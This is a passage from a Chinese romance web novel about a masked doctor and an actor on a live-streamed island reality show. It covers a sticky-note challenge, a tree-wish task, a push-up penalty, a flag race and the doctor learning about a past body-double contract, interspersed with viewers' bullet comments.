【影子哥的手：主人，你下次别拿我当挡箭牌了，真的，显得我很憨。】
季杭喉结滚了滚，嗓音也干巴巴，话却是：“你那手…注意别再碰水了，昨天被海水泡太久……”
司云起闻言抬起手，说：“好，等任务结束后你来检查。”
季杭转身往树林里走，声音飘在身后：“我才懒得检查……”
他走进树林，没几分钟，苏凛闻着味儿就过来了。
“哥，嘿嘿，”苏凛说，“这里蚊子好多，我跟着你走吧，蚊子肯定不咬我。”
季杭点头。
他们并肩走了一截路，谁都没有发现任务卡的踪影。
“这咋找呀，好难，”苏凛叹了口气，“也就是不能带手机，不然我的微信步数肯定天天第一。找又找不到，走也走不到头，好无聊。对了哥，你和司老师是多少年的朋友了呀，感觉你们感情好好。”
这个问题……
季杭有点不知道怎么回答，他思考了片刻，说：“挺多年了，你和谢桉呢？”
这个回答……
好在苏凛并没有深究的意图，回答道：“我俩认识四年了。”
“这么久了，”季杭随口回答了句。
却不料苏凛很认真，像是在想什么事情，沉默很久之后才轻声感慨了句：“是啊，都四年了。”
他们没再继续这个话题，仔细看着走过的每一步，树上、草从里。
突然，前方有个人影闪过。
苏凛顿时停下脚步，想拉季杭：“哥，你看见没，有个人影。”
季杭“嗯”了声。
“不会是野人吧！”苏凛细思极恐，“妈呀，一闪就过去了。”
季杭安慰他：“不会的，放宽心。”
苏凛粗思也恐：“会不会把我们抓回去当压寨…嗯…压寨的人呀。”
“……”季杭试图安慰他，“野人不会抓你当压寨的人，他们只会围着你边转边欢呼，然后准备一口大铁锅。”
苏凛：“……”
见他更忧愁的模样，季杭不逗他了，指了下跟拍，告诉苏凛：“要真是野人，他们不会这样淡定的。但他们什么反应也没有，证明这在导演组的控制内。”
有道理。
苏凛问：“那闪过去的是什么？”
季杭猜测道：“我们走了这么远也没看到任务卡，也许任务卡是移动的，就是刚刚出现的人影，得抓住他们才能拿到任务卡。”
“对哦。”苏凛话音刚落，那个影子又出现了。
“他——”
苏凛刚冒出来个音节，季杭就已经跑出去了。
他们很快消失在茂密的树林里，徒留奔跑时划过的风声和原地呆滞的苏凛。
“哥——”苏凛弱弱，“你还回来吗……”
不多时，季杭拿着任务卡走了回来。
苏凛惊讶道：“任务卡还真在他们身上啊，哥，你怎么拿到的呀。”
季杭说：“追上他们，他们自动就给了。”
“好！”苏凛鼓气，“那你去完成任务吧，我也去追！”
突然他想起来，问：“哥，任务是啥，好完成吗？”
任务卡在季杭指尖捻着，但季杭没回答。
“哥？”
“你自己看吧。”
苏凛便拿过，掀开后，慢慢读：
“任务：找到你正在划船的朋友，和他完成一项观众指定的任务（任务需闭眼从弹幕中抽取）。”
读完后苏凛很同情：“哥，现在司老师不知道在哪里飘着呢，你、你去吧。”
季杭拿过任务卡后离开，一路上都在祈祷抽到的弹幕能正常点。
起码。
起码不能是乔炎微博下高赞的那些评论。
他走到岸边，眼前是苍苍茫茫的海，没有司云起的影子。
不知道要等多久，他索性坐在岸边，安静地看海。
之后他试图和观众讨价还价。
他看向镜头，说：“商量个事儿行么。”
跟拍一愣，没忍住，问：“您和我说话？”
季杭说：“和观众。”
反正也看不到直播的情况，季杭索性直接说：“等会儿见到司云起后，你们能不能都说好完成的任务。”
“好完成的意思就是，嗯，就是说点能播的……”
【哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈】
【影子哥上网石锤！】
【影子哥太可爱了啊啊啊啊啊司云起夺妻之仇不共戴天！】
【好的影子哥，我们听你的[狗头]】
季杭又看向大海，等他看见司云起划着船出现在视线里时，默默说了句：“可一定要说点能播的……”
本来司云起是慢悠悠地划船，毕竟绕岛一圈的运动量很大。
但看见岸边的人后，木船瞬间像多了台发动机。
嗖的一下。
【什么玩意儿划过去了？】
司云起用桨撑着，准确无误地停在季杭身前，问：“在等我？”
季杭“嗯”了声，看向他划桨的手。
“干的，没碰到水，”司云起注意到他的目光后立刻解释，松了手伸给季杭看，“你检查。”
确实是干的，季杭嘴硬道：“没人要检查。”
司云起轻笑：“是我非要让你检查。”
“司云起，”季杭拿起身旁的任务卡，“有个任务，得你和我一起完成。”
“是什么？”
季杭把任务卡打开递到司云起眼前。
看完后，司云起说：“好。”
司云起跳上岸，和季杭站在一起，工作人员拿来一部手机，让他们其中一个人闭上眼睛，点击屏幕。
点到哪条，就要完成哪条。
工作人员问：“你们谁来点？”
司云起看向季杭：“你吧。”
季杭正准备闭上眼睛，突然想起来，对司云起说：“你对镜头说句话。”
司云起懵道：“说什么？”
季杭一脸正色，但他戴着口罩，所以别人只能听到的他一腔正音：“你说，让观众们发点能播的。”
司云起看向镜头，压着嘴角的笑，“听到了没，他让你们说点能播的。”
季杭略有几分不放心地闭上眼睛，手指按照指引，轻轻点在盖满了直播画面的弹幕上。
两秒后，工作人员说：“选好了。”
季杭睁开眼睛。
司云起侧头。
工作人员拿着手机。
跟拍的镜头凑近。
一同看向暂停在画面中的弹幕。
“羞羞便利贴，司云起身上贴满便利贴，影子哥戴上眼罩用嘴咬下来！”
……
悬着的心终于还是死了。
司云起被工作人员拉到一边贴便利贴，季杭怔怔地听着另一位工作人员说：“不好意思，咱们这没有眼罩。”
季杭无意识地“啊”了一声，“那用我自己的口罩吧。”
正在贴便利贴的司云起走了过来，见季杭准备把口罩挪到眼睛上。他挡住跟拍，说：“我来。”
他小心地挪动着季杭的口罩，罩住了季杭的眼睛和鼻子，口罩的下端紧贴着季杭的嘴唇，让他能用嘴咬便利贴，也让他不被认出来。
罩好后，司云起扣了下他的帽子，说：“光凭嘴巴，好像确实不如眼睛好认。”
然后他眼看着这人的嘴唇抿紧了，随后的话里有质问的意思：“你认不出来？”
“我当然可以，”司云起眼睛一眨不眨，克制着想亲过去的冲动，说：“你哪里我认不出来。”
【？？？】
【司云起你别冲动，你别说了，我真的害怕。】
【妈妈，我搞到真的了。】
【影子哥的下颌线，救命，比我的人生规划都清晰！】
【拼拼凑凑，没准真能把我们影子哥全貌拼出来。】
【前面的姐妹，你碰雷区啦！两个影子家训，绝对不能扒马影子哥！外貌和三次信息都不可！】
【骚瑞骚瑞，我就是口嗨，家训刻脑门上了已经，姐妹们放心！】
旁边的工作人员继续给司云起贴便利贴，季杭看不到，只能听到些声音。
忽地，他听到司云起说：“下半身不要了，很奇怪。”
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季杭的嘴唇又抿紧了。
贴好之后，季杭听着司云起的声音，很缓慢地探头。
“往下一点。”
“往前，对，就在这里。”
“好，一共有十个，你已经咬下来两个了。”
“侧边，小心脚下的石头，别绊倒。”
“我真的不能动吗，他看不到，容易摔倒。”
工作人员：“那你动吧。”
“好，你先别动，等我动。”
司云起侧过身，膝盖微曲，“可以了，你直接咬吧。”
“好，等下，在我肩膀……好了，可以咬了。”
在司云起近乎泄洪般的放水下，季杭很顺利就咬下来了七张便利贴。
【很好，还剩三张。】
【哈哈哈哈司云起你迟迟不给老婆指明最后这三张是有什么心事吗。】
【下巴一张，侧颈一张，胸口一张哈哈哈哈快点，恨不得拉进度条，这才是本vip该看的！】
最后三张。
司云起低了下头，看着很刁钻的便利贴位置。
明明季杭是看不到的，自己只需要和之前一样凑过去，哄他咬下来就好了。
但胸口这个位置……
他问心有愧，没办法很平常、若无其事地让季杭咬下来。
正踌躇间，季杭催促：“没了么？”
司云起停顿片刻，说：“有。”
“那你怎么不继续了，”季杭问。
半晌，司云起嗓音有些发哑：“下一张，在我胸口。”
季杭明显一愣，随即耳廓渐红，也过了足足半分钟，才说：“好。”
【他俩肯定没do过，do过不可能这么纯[思索.jpg]】
季杭缓缓弯腰，喉结不可自制地滑动，说话时嗓音先哽了一下，“是这里吗？”
占据了很久主导权的司云起紧紧握拳，垂眸看着贴近自己胸口的季杭。分明是隔着衣服布料的，但他就是难以自制，只看了一眼，他迅速移开目光，声音更哑了，说：“是。”
季杭便凑过去咬，但这次的位置毕竟不是司云起提醒的，司云起又只看了一眼，所以他咬偏了。
不同于他要去树林里，司云起不需要穿很严实，他只穿了件白色T恤。
季杭咬住了他胸口的布料，他只觉得自己胸口被很轻的划了一下，当低头看到季杭咬偏时，刹那间，他整个脖颈红透了。
季杭也意识到他咬错了，但他的嘴角已经触到了便利贴边缘，为了避免这样磨人的过程重来一次，他松了齿间的布料。
便利贴跟着布料被咬起，本就粘的不太结实，在季杭松嘴时轻轻滑落，司云起还没来得及提醒，季杭再一次咬了过去。
这次他没掌控好力道，许是太着急了，嘴唇撞到了司云起胸口。
司云起的心跳透过胸腔和薄薄的布料，贴着他的嘴唇重重的跳动着。
……
太快了。
季杭忽地想起他们重逢的第一面，司云起说他的心跳快，非要让自己听。
当时的自己只以为他是剧烈活动才导致的心跳快。
现在的心跳声和那次如出一辙。
是司云起心动的声音。
……
季杭有一瞬的怔愣，反应过来后迅速后撤。
他咬着唇角，片刻后，哑声说：“不好意思。”
司云起的声音比他的还要哑：“没事。还有两张。”
顿了顿，司云起说：“下一张在我侧颈，你别动。”他自己凑过去，微歪着头，说：“你往前些。”
季杭听话地往前，动作明显比之前僵硬。
“我自己也看不到，但是应该没错，你咬吧。”
角度确实没错，季杭这次也慢了很多，一点一点贴近他的侧颈。分不清是太紧张还是别的什么，呼吸也很重，临近了，忍不住呼出一口气，惹得司云起侧颈一阵酥麻。
忽地，嘴唇贴到了温热的皮肤。
季杭咬住便利贴，在很短暂的接触中，他的嘴唇又一次感受到了司云起侧颈的脉跳动。
咬下这个后，司云起也重重呼出一口气。
【cp粉看了流泪，唯粉看了心碎。】
【这辈子还没见到人的脖子能红到这种程度。】
【不是你们有人管管吗，我哥他快熟了。】
【影子哥求你了，我哥他血气方刚的年纪，你就给他个痛快吧！】
【爽！提议这个任务的姐妹，他俩结婚你坐主桌！】
【不行，得给我姐单独直接开一桌！】
【姐你直接站桌上吃！】
【姐姐你坐他们头上吃吧求求了嘤！】
【司云起你别忘了给我姐发99999大红包！】
【姐我没什么好祝福的，就祝你以后做英语完形填空和选项在同一页！】
【哦莫好清新的祝福，未成年你别看，你攒着长大再看。】
“还有最后一个，”很久之后季杭才找回自己的声音。
司云起克制着嗓音的哑：“在我下巴。”
53.【我的素人朋友9】
很短暂的时间里，司云起看到季杭紧攥着的手指。
指节被这人捏的发白，他有点分不清是紧张还是抵触的意思。
但他能明显地看出自己说最后一张便利贴在下巴后，季杭的动作变得更局促。
所以在季杭做好心理建设，微仰着头慢慢凑近时，司云起忽地说：“你方向歪了。”
闻言季杭愣住。
司云起抬手，抚住他的下颌。
【司云起你不会是调整角度让老婆亲自己吧。】
【惊！前方大型意外接吻现场！】
【急急急！我命令你们亲给我看！呜呜呜看得我抓心挠肝的！】
【一百万人见证是意外，所以你们快亲！】
季杭很轻的抖了一下，微不可见，只有司云起能感觉到。
所以他轻扼这人的下颌，手腕不甚明显地歪了一下。
碰掉了最后一张便利贴。
他余光瞥着便利贴缓缓坠地，轻的发不出丝毫声响。
而后他两只手扣在季杭脸颊，帮他把口罩戴好。
不知为何，季杭的眼尾有几分潮红。与他对视的刹那，季杭不自然地先移开了目光。
半晌，季杭才问：“不是还有最后一张么。”
司云起“嗯”了声，说：“掉了。”
起初弹幕里还在刷屏说他们两个玩的游戏不合格，尤其是撕最后一张便利贴时，简直就是蒙混过关！
但当工作人员不知如何判定去征询弹幕意见时，弹幕里又成了清一色的【过过过，他俩肯定完成了呀】诸如此类的话。
完成第一个任务后，两个影子超话里发帖数量暴涨。
全是在噫呜呜噫。
【直播全程看，觉得他们两个都在克制。】
【影子哥好爱司云起呜呜呜，综艺官宣的时候司云起根本没有搭档，一定是影子哥心疼了临时要求参加的，所以他来得晚嘛，不然司云起一个人被这节目组区别对待。】
【司云起也是[泪奔]影子哥被黑之后，站在不同的门口剧组全员发声但作用根本没那么大，肯定是司云起去找了节目组。37个营销号全体道歉，混网这么多年啥时候见过这盛况。最令人感动的是他俩叉鱼那儿，两个人不小心摔进海里，起来的时候影子哥帽子掉了，司云起担心影子哥带着湿透的口罩呼吸困难，把自己的衣服蒙到他头上，背着他往帐篷里走，那一幕真的哭死我，有姐妹懂吗呜呜呜。】
【流泪+1。那一幕固然好磕，但最感人的是，司云起远比影子哥自己还担心他会暴露在公众面前。因为司云起本身就是娱乐圈的人，他很清楚影子哥一旦露面，下一秒私人信息就全网飞了，影子哥和他的cp还这么火，就导致影子哥会受到很多打扰。】
【你们两个啊，到底都在克制什么呢。[墨镜微笑脸]】
季杭要回到树林，司云起继续回到海上漂流。
但转身时，司云起发现他的木船不见了。
“……”
跟拍照着一望无际的大海，依稀能看清在遥远的海面上，有一艘孤独漂泊的木筏。
上岸时没固定好，在任务完成过程中它飘走了。
季杭和司云起眺望远方。
【船：再见了爸妈今天我就要远航～~】
两个人原地站着，季杭问：“你怎么办？”
司云起说：“还有备用的船吗？”
工作人员答：“没了。”
好巧不巧，谢桉撑着桨飘了过来，看见他们两个站在岸边，停下问：“司老师，怎么了？”
司云起说：“船飘走了。”
谢桉前后看了看，主动提议道：“司老师，你来我这个？”
节目组只说明星嘉宾要绕岛环行，别的没规定。
“好，”司云起说。
四个人有点挤，船上便只留了谢桉的跟拍，司云起的跟拍在岸上休息。
在他们离开时，季杭听到谢桉说：“不知道怎么称呼，但能不能麻烦你，如果有余力帮忙照顾一下我朋友。”
谢桉笑着说：“他方向感很不好，如果他的任务很难完成，就让他休息吧，我没关系的。”
季杭点头，“好。”
他又看向司云起，犹豫片刻，什么都没说，转身走了。
回到树林里后，他一直没遇到带任务卡的工作人员，也没遇到苏凛。
走的实在有些累，他思考着要不要原地休息几分钟，却听到身后窸窣的动静。他顺着转身，看到了穿着黑衣服的工作人员。
很快，他追上工作人员，拿到了他手里的任务卡。
【找到5棵有节目组标识的树，站在树下说出对你的明星好友的祝愿[不得重复]。】
又是漫长的寻找，除了始终跟着自己的跟拍，他也看不到任何人的影子。
大约半小时后他才找到第一棵带有节目组logo的树，他走过去扶着树干休息了半分钟，暗自腹诽这节目不愧是叫《我的素人朋友》，身为素人朋友真的太累了。
他站直身，贴着树干，目光对准镜头，说出对司云起的第一个祝愿：
“司云起，我希望你能尽快结束绕岛的环行，因为外面太晒了。”
说完之后他兀自笑了：“但这得靠我，等着吧，我尽快完成。”
打算离开时，他忽地瞥见树下有一张卡，捡起来后发现是剩下四棵有记号的树方位。
很好，虽然只是方位，但也已经比他漫无目的的找轻松多了。
想着司云起还在海上被晒着，他脚步更快了些，找到下一棵树，思索两秒，说：
“司云起，永远不受伤。”
再下一棵，又费了半个多小时才找到，他倚着树干，嗓音清澈：
“司云起，四季平安。”
找到了三棵，剩下的两棵在树林的另一边，其实能看出镜头里的他很累了，但他一刻也没休息。
已经是下午了，烈日高悬，阳光透过茂密的枝叶，光斑投在脚下的路上，有几分晃眼。
季杭自言自语道：“外面一定比这更热。”
说着他的脚步更快了，跟拍不得不快跑几步才能跟上他。
季杭没有时间的概念，他一直在走，没有停下过，他也不知道找到第四棵树用了多久，只是终于看到logo的刹那，他还悄悄有几分庆幸。
庆幸这是第四棵树，庆幸第五棵树离这里不算很远。
他背靠着树，有点不知道要说什么。
并非是词穷，他一路上都在想给司云起的祝福，怎么可能会词穷。只是心愿和祝福太多了。
须臾，他忽地抬眸，声音有几分喘，却是无比认真：
“司云起，希望你走的路顺一点，不用太辛苦。”
说完之后他去找第五棵树。
找到后他站在树的一旁，嗓音因为缺水变得很哑，他缓慢而虔诚地说出第五个祝愿：
“司云起，希望人世间所有美好的祝福，都能在你身上应验。”
他的目光澄澈认真，默默在心里补充了三个字。
“我爱你。”
【呜呜呜我哭了我又哭了，影子哥你一副轻松的架势，说着最动听的话。】
【影子哥现在应该很累了，我看直播都没顶住困意睡了一觉，他从早上到现在一直在完成任务没休息过，也没吃过东西。】
【听着影子哥的祝福突然想起来那句“浅予深深长乐未央”，他每个祝愿听起来都好简短，但都好珍贵。司云起你何德何能啊老婆这么爱你。】
第二项任务完成。
季杭看到穿黑衣服的工作人员时，对跟拍说：“你别跟着我跑了，你在这里等我，我拿到任务卡就回来。”
他特意让跟拍休息了会儿，自己去追任务卡了。
跟拍再见他时，却发现他手里并没有任务卡。
季杭空着手回来，对跟拍说：“任务暂时结束不了，还得辛苦你。”
跟拍摇摇头，表示这是应该的。
季杭说：“你可以找个角度，我要做200个俯卧撑。”
【夺少？两百？我哥都这么累了做两百个？节目组你活不活了。】
【黑幕！是不是节目组又偏心了，故意给我们这组难的任务。】
【哎，大家上微博看一下录屏吧，刚刚苏凛的跟拍都拍到了。】
见状她们切换到微博，简单搜了下节目组的名字就看到了刚放上来的剪辑视频。
视频里是苏凛刚完成任务，休息的时候遇到了季杭。他追过去，看到季杭拿着任务卡，正在和工作人员说话。
他凑过去了，季杭也进入了他的直播画面里。
画面里工作人员说：“如果你完成不了这项任务，必须要接受惩罚才能得到最终地点的线索。”
季杭说：“那我接受惩罚。”
苏凛听懵了，问季杭：“哥，你咋还有惩罚？”
工作人员对季杭说：“你拿到的第三张任务卡内容是‘【吐槽局】面对镜头，说出三条关于你明星朋友最难让你忍受的毛病’，这个不需要费体力，只需要说出三条就好，你确定完成不了吗？”
季杭：“完成不了，我没有可吐槽的。”
就这样，他还了任务卡，回到自己的跟拍前，做200个俯卧撑。
跟拍固定好相机，站在他旁边一个一个的数。
“1、2、3…7…16…21…47…53…”
季杭的动作越来越慢，当跟拍数到147时，他觉得自己一点力气都没有了。他满身都是汗，顺着侧颈和帽檐淌下，在镜头里清晰可见。
大部分人看完剪辑的视频回来时，季杭已经做完了大半，还差40多个。
在跟拍
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和镜头后数以万计网友的注视下，他撑在地面的手臂颤抖着，一个比一个缓慢，但始终没停下。
终于做到了最后一个，他强撑着站起来，晕眩感经久不消，他扶着旁边的树，头也低着。
听到旁边有动静后，他抬了下头，看到是工作人员，说：“我完成了，线索给我。”
工作人员把地图拿给他。
季杭攥着地图的一角，眼睛还是没睁开，又说：“三项任务完成了，司云起可以上岸了。”
工作人员说：“是的，我们已经联系到司老师让他上岸了。”
苏凛跟过来，试探问：“虽然我任务还没完成，但退一万步来讲，就不能让谢桉也跟着一起上岸吗？”
工作人员默默摇头。
苏凛抿紧嘴巴去扶季杭，“哥，走吧，我扶你出去。”
“等下，”季杭声音很低，“我可能有点低血糖，没事，让我再休息两分钟。”
苏凛心疼极了，纳闷道：“哥，你就吐槽司老师几句能咋了，你俩关系那么好，他又不会怪你，200个俯卧撑，听着我都要死。”
季杭没回答，靠树休息了几分钟才往外走。
已经是傍晚，日光不知什么时候悄然藏匿，消失不见。
季杭看着手里的地图，标注了最终位置的地方是个岛屿。
但不是这座。
也就是要划船前往另一座岛。
季杭走出树林时，司云起也刚好绕到这边下船。
苏凛见到谢桉后吐了吐舌头，不大好意思：“咱们可能拿不到最终位置的线索了。”
谢桉笑笑：“没关系。”
季杭这才意识到，司云起的船飘走了，他们没有工具去另一座岛。
兴许是看出来他脸色不对，司云起说：“到这就可以了，我们不继续了，你太累了。”
谢桉却说：“司老师，你们都拿到最终线索了，还是去吧。”
苏凛也跟着说：“就是，去吧去吧。”
司云起目光没有从季杭身上移开一秒，说：“不了，我带你去休息。”
他刚想再背起季杭，这人却推了下他的手。
然后说：“司云起，我想要你赢。”
司云起的心瞬间就闷疼得厉害。
他沉默着看着季杭，半晌，问：“最终位置在哪？”
季杭拿起地图，说：“另一座岛。”
“怪不得，”谢桉说，“绕了这导好多圈了，一直在南面看见座小岛，原来最终在那。”
苏凛见状拉谢桉到身后，说：“那你们乘这船去吧，接下来我和谢桉就不参加了。累死了。”
谢桉也附和苏凛的话，把船让给他们。
苏凛就是个大素人，总是忘记跟拍，对季杭说：“哥你们快去，你们一定要第一个到那！我看那个冯天德不顺眼，可不能让他们赢！”
季杭和司云起道谢后上了船，去往地图上岛屿的方向。
与此同时，冯天德也拿着地图上了船，和丁熙年往岛屿的方向走。
见状苏凛都要紧张死了，边跺脚边说：“上天保佑可一定得是司老师他们先到！”
距离不算远，司云起划着船，季杭坐在一旁休息，他们谁也没有开口说话。
他们到岛屿边缘时，太阳已经完全落山，消失在海平线。天空呈着深蓝色，海风萧条。
而另一个方向过来的丁熙年的船也即将到达。
季杭先一步下了船，跟拍紧随其后。司云起也想下船时突然意识到船不能停泊在这里，一旦他也下去，船立刻将飘走。
他只能留在船上。
另一边的冯天德也下了船，留下丁熙年在船上。
他们看着季杭和冯天德一前一后，走在凹凸难走的石头上。
突然，季杭停了下来。
季杭看到矗立在石缝里的牌子，上面写着：先爬上山丘挥舞红旗者，极为胜方。
他看向前面的山丘，兴许是在地理演变中堆起的这么一座小山丘，表层还有很多石头堆在一起，难看又难走。
但他没有一刻停留，快步往那边跑。
见他跑了起来，冯天德也赶到牌子前面，看清楚字后也迅速跑去。
冯天德拿到的任务都要简单些，体力消耗没那么大，所以他不算累。
季杭爬上山丘，他几乎是力气耗尽扑过去的，目光甚至都有些模糊。
往上走很难，只能往上爬。
他扒着石块爬，冯天德紧跟在后面。
在他即将爬到顶的时候，手攥住的石头脱落，他没防备，手腕狠狠摩擦在粗粝的另一块石头上，钻心的疼。
但他没有丝毫犹豫，在冯天德即将赶超他的最后一秒，用尽全身力气爬到顶，俯身拔出旗子。
对着远处的司云起喊：
“司云起，是你赢了！”
54.不能
天色沉暗，海风咸冷。
司云起看到季杭站在远处的山丘上，一只手举着旗子，冲锋衣被汩汩灌着风，在大声昭告：“司云起，是你赢了！”
那句话停留在他耳边，他有一瞬间的失神——
贯穿着他从少年时期到成熟的人，又一次为了自己拼尽全力，只是想要自己赢。
司云起抬了下手，在越来越暗的视线里，抓住了季杭的影子。
抓住你了。
季杭，我不会放手了。
在季杭越来越模糊的视线里，他看到司云起扔掉船桨，上岸之后朝自己跑来。
他有点想提醒司云起不要跑这么快，这个岛上的路特别难走。
这样想着，他慢慢往下走。
他尽量走的正常，不想让司云起看出他很累。但刚走两步，他就踩到了缺了一块石头的地方，没有任何防备的踉跄了几步。
脚步越发虚浮，扑下去的刹那，被赶来的司云起抱了个满怀。
他听到司云起在自己耳边轻叹息了声，所以他问：“你为什么叹气？”
他是累的一点也不想动，连眼皮都掀不起来，卸了全身力气，安静地靠在司云起怀里。
司云起揽着他的肩膀，让他埋在自己颈间，说：“在想一件事情。”
季杭嘴唇动了动，声音轻的像是呓语：“什么事？”
司云起说：“想你对我这么好，怎么就是不喜欢我。”
刚说完，就见这人猛地支起脖子，左右看。
司云起抚了下他的后背，告诉他：“船飘走了，跟拍去联系人来接我们，他没在。”说完把他的口罩扯到了嘴唇下面。
季杭松了口气，更加无顾忌的埋在司云起侧颈。
半晌，说：“你得背我回去了，我不想动。”
司云起喉结动了动，轻笑：“把你背回去，能喜欢我一点吗。”
季杭无语，闷声说：“不喜欢你就不背我回去了？”
“不好说，”司云起逗他，“也许背你回去，也许不背你回去。”
季杭闻言就要离开这个怀抱。
司云起禁锢着他，坦白道：“有一刻确实想了，要是只有你和我在这座岛上，你天天看着我，我软硬兼施，把该做的不该做的都做了，你会不会喜欢我。”
季杭说他：“想得美。”
司云起反问季杭：“但很快这个念头就被我否了，你猜是为什么？”
“没有吃的？”
司云起说：“当然不是。”
“没有衣服？”
司云起说：“你觉得我会让你处在没食物和衣服的地方吗。”
季杭猜不出来，“那到底是为什么。”
司云起忽地抬手，把他的口罩戴好了，在跟拍过来之前说：“有些不该做的做不了，没套。”
季杭一时间没反应过来，扬着嗓音“嗯”了一声。
“成芜不是提醒过你么，”司云起煞有介事地解释，“没套的话会发烧，所以不能做。”
潮红从耳侧蔓延到后颈，季杭心道：“脑子有病。”
都能有吃有穿了，就不能备上…套么。
再者，就算没有，自己还是医生，要是自己真发烧了，也不是需要担心的事……
等等、
季杭及时遏住自己发散的思维，默默说了句：“我脑子也有病。”
司云起说：“所以就等回去了再搞强制吧。”
季杭更无语了：“司云起，你是不是超话里的文看多了？”
这回轮到司云起惊讶了，“超话里的文你也看过？这不是成芜教我怎么看的么，你也偷看了？”
季杭哑然。
“我还没顾上看，”司云起实话实说，“但我看过超话里的帖子，有人说想看强制爱。”
季杭没动静。
跟拍越走越近，司云起觉得季杭一直这个姿势不舒服，便轻声询问：“我现在背你，行么。”
季杭叹了口气：“司云起，你到时候强制的方式不会是天天问我‘我把你关起来，行么’‘我脱你衣服了，行么’‘你爱我吧，行么’这样的方式吧？”
他有点拧巴地想：司云起，你还不如把我强制了呢，省得我爱你爱的不能往前，舍不得后退的。
但下一秒他突然想起来，司云起以为自己厌恶他，以为了十年。
心又没防备地闷疼了下。
季杭刚想掠过这个话题，就听到司云起说。
“要是你喜欢的话，我也可以投你所好。”
季杭任他摆弄，毕竟自己真的一点力气也没有了，几秒后，他趴在了司云起背上。
这样更是轻松，季杭困意越来越浓，依稀觉得司云起好像是背着自己往船上走。
上船后他觉得自己悬空了下，随后听到跟拍说：“不好意思司老师，设备没电了，您的直播画面空了。”
司云起说：“没事。”
跟拍又说：“您累不累？把您朋友放到船上吧？”
司云起听着耳畔愈发平缓的呼吸声，轻摇了下头。
跟拍便走到一旁专心划船。
耳边是潺潺海水流动的声音，四下空荡，季杭却前所未有的安心。
他困得支撑不住，却还想着，应答了司云起刚刚的话：“我不喜欢。”
司云起便问：“那你喜欢什么？”
季杭说：“我什么也不喜欢。”
半晌，司云起冒出来句：“那把你脖子上的素戒摘掉吧。”
季杭垂在他身前的手猛地动了下，随即，司云起听到这人说：“不行。”
“为什么，”司云起问，“不是什么也不喜欢么。”
季杭又下意识地想碰碰颈间的素戒，但现在的情况显然不大适合，他说：“就这个不行。”
喉口涌上一阵难言的涩，司云起问：“你很喜欢送你素戒的人，是么。”
季杭下颌磕在他锁骨上，说：“是。”
很久，司云起没再说话。
临到岸边，季杭已经快睡熟了。
司云起轻声说：“怎么就不喜欢我。”
他没指望得到回答，却在上岸的刹那，听到这人的呓语：
“不…能。”
……
司云起止住脚步，那一刻他就像如海上漂泊了很久的人终于寻到了陆地般惊喜，又小心谨慎，生怕听错了。
跟拍从旁边走过去，他迟迟没动，良久，嗓音干涩道：
“季杭，是不能喜欢，不是不喜欢，对么。”
他急切又小心地想得到答案，期待着肯定的答复，又担心是自己解读错误。
背上的人沉睡着，任他怎么哄，再没说一句话。
……
醒来时约莫过了四个多小时，季杭睁开眼睛，看到窝在一旁玩手机的李达。
他坐起身，嗓音很哑：“李达，你怎么在这。”
李达扭脸，见他醒了连忙递上水，说：“季医生你醒啦，老板让我陪着你呢。”
季杭喝了几口，“他人呢？”
“在外面呢，嘉宾们都凑在一起，”李达拿过季杭手里的水瓶，“老板说了，你要是醒了，就让你再睡一觉，你太累了。”
李达看着季杭的手腕，撇撇嘴，“季医生，你为了老板赢真的是拼尽全力了，老板给你包扎的时候眼眶都是红的。”
季杭记得自己明明已经将袖口扯到虎口了，按理说司云起不该看见才对。
李达见状，说：“老板给你脱外套的时候看到的，但他担心你在这睡觉冷，包扎好后又给你穿上了。”
季杭摸着手腕的纱布，点了点头。
一时无话，李达觉得有点尴尬，主动说：“季医生，要不我出去，你自己待着？”
“不用，”季杭看着李达，“我有事要问你。”
李达想了一遍近一周老板对自己说的话，其中并没有要让自己瞒着季医生的事，他稍稍放心了些，“季医生，你问吧。”
季杭问：“司云起和丁熙年签的替身合同，这你知情吗？”
李达诚实道：“知道一点，但具体不知道。”
顿了顿，季杭问：“他为什么参加这个综艺，这个……”
“这个我知道，”李达解释说，“我听依依姐说的，这综艺是丁熙年投资的，直播形式和嘉宾阵容都是丁熙年安排的，他就故意想和老板上一档综艺，具体为啥我还真不知道，可能就跟网上说的一样，他俩被对比了这么些年，想分个高低？切，我真觉得他是痴人说梦，他哪里能比得上老板一根手指头啊……”
“说偏了不好意思，”李达尬笑，“我继续，一开始老板就拒了这综艺，后来丁熙年就拿着合同找老板，说老板要是不接这综艺，他就把合同拿给你看。”
“老板当时没说什么，但他同意了。”
“合同上……”季杭吞咽一口虚无，慢声问，“什么内容，你知道么。”
李达说：“我就记得大概，是说司云起自愿做丁熙年的替身演员，不拍戏，然后丁熙年一次性给司云起多少钱……”
季杭听到自己的声音：“是六十万吗。”
李达说：“对！是六十万！”
拳心猛地攥紧，季杭重重呼出一口气，十年前成芜拿到医院的六十万……
成芜说是她们妈妈拿的钱，季满谦病情加重，季杭无暇分辨，还真以为是成馥拿的钱。后来这些年里，他每每抱着还钱的心思把钱打给成芜时
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，第二天钱总会原封不动被打回他的卡里。
他竟是从未往司云起身上想过。
他也不敢想……
他送司云起走时，没管他的眼睛还受着伤，不顾他对自己的喜欢，说了绝情伤人的话。
很长一段时间里，他根本不敢奢求司云起还喜欢自己。
可司云起眼睛受着伤，为了自己，为了拿到60万，和丁熙年签了做替身演员的合同，便真的做了很多年的替身演员，真的没能拍戏……
已经过去的十年，季杭恍若重临，任由那些记忆在本就闷疼的心上一刀又一刀地捅着。
“他不想让丁熙年把合同给我看…”季杭眼尾红得厉害，盯着李达，像是非要听李达再说一遍让心更疼似的，“所以才参加这个综艺……”
李达怔怔：“是……”
季杭别开脸，眼泪从侧脸滑落，他安静地朝着另一边，很久没说话。
李达觉得自己好像说错话了，季医生看起来实在是太难过了，他想搞轻松点，便说：“季医生，你别太难过了，这几天你都没拿着手机，我跟你说哦，前两天你被节目组买黑热搜了！不过你别担心，网上很多人帮你说话的，老板也去找导演了，你知道老板多厉害吗！这节目组有十三个赞助，有十个都和老板认识，老板一句话，他们直接撤了赞助，还有导演弟弟好不容易和曲导谈成的戏也吹了，他下一部剧的投资方也撤资了。我听他们悄悄传，那天老板给导演半小时，说热搜都撤掉，所有买来的营销号全部要道歉，结果半小时没到，节目组道歉了，导演也道歉了，最震惊的是那37个营销号，也全都道歉了！闻所未闻！”
